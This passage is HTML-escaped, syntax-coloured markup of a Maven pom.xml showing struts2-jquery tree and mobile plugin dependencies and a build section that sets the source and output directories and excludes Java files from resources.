&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;com.jgeppert.struts2.&lt;u&gt;jquery&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-&lt;u&gt;jquery&lt;/u&gt;-tree-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.7.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;com.jgeppert.struts2.&lt;u&gt;jquery&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;groupId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;struts2-&lt;u&gt;jquery&lt;/u&gt;-&lt;u&gt;mobile&lt;/u&gt;-&lt;u&gt;plugin&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;artifactId&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;3.7.0&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;version&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependency&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #3f5fbf; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;!--&amp;nbsp;&lt;u&gt;Hibernate&lt;/u&gt;&amp;nbsp;query library dependency end --&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;dependencies&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;build&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;sourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/&lt;u&gt;src&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;sourceDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;outputDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/WebRoot/WEB-INF/classes&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;outputDirectory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;resources&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;resource&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;directory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;${&lt;u&gt;basedir&lt;/u&gt;}/&lt;u&gt;src&lt;/u&gt;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;directory&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;excludes&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclude&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;**/*.java&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;exclude&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;lt;/&lt;/span&gt;&lt;span style=&quot;color: #3f7f7f; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;excludes&lt;/span&gt;&lt;span style=&quot;color: teal; font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;font-family: &#39;Courier New&#39;; font-size: 8pt;&quot;&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;margin-bottom: 0.0001pt;&quot;&gt;
